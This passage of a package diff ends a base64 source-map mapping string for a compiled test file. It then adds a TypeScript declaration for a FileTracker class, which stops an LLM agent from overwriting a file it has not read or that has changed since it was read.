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"}

package/dist/src/tools/file-tracker.d.ts

@@ -0,0 +1,35 @@
+/**
+ * Per-session guard that enforces "read before edit/overwrite" semantics
+ * (mirrors Claude Code's safety rule). Prevents the LLM from blindly
+ * overwriting files whose current content it has not seen — and from
+ * stomping on changes another process made between read and write.
+ *
+ * The tracker keys on the absolute, normalized file path. It stores a
+ * SHA-256 of the content at read time; on write, the on-disk content is
+ * re-hashed and compared. A mismatch means the file changed externally
+ * since the last read, and the write is rejected.
+ *
+ * New-file creation is allowed without a prior read (there is nothing to
+ * read). After every successful write/edit, the tracker is refreshed so
+ * back-to-back edits in the same session keep working.
+ */
+export interface ReadRecord {
+    hash: string;
+    mtimeMs: number;
+}
+export declare class FileTracker {
+    private records;
+    /** Record content as known to the agent. Called after a successful read. */
+    markRead(absolutePath: string, content: string, mtimeMs: number): void;
+    /** True if the file has been recorded as read this session. */
+    hasRead(absolutePath: string): boolean;
+    /**
+     * Verify a write to an EXISTING file is safe. Returns null when the write
+     * may proceed, or a human-readable error message otherwise.
+     */
+    checkBeforeWrite(absolutePath: string, currentContent: string): string | null;
+    /** Drop the record (e.g. file was deleted). */
+    forget(absolutePath: string): void;
+    /** Drop everything (e.g. on /clear). */
+    reset(): void;
+}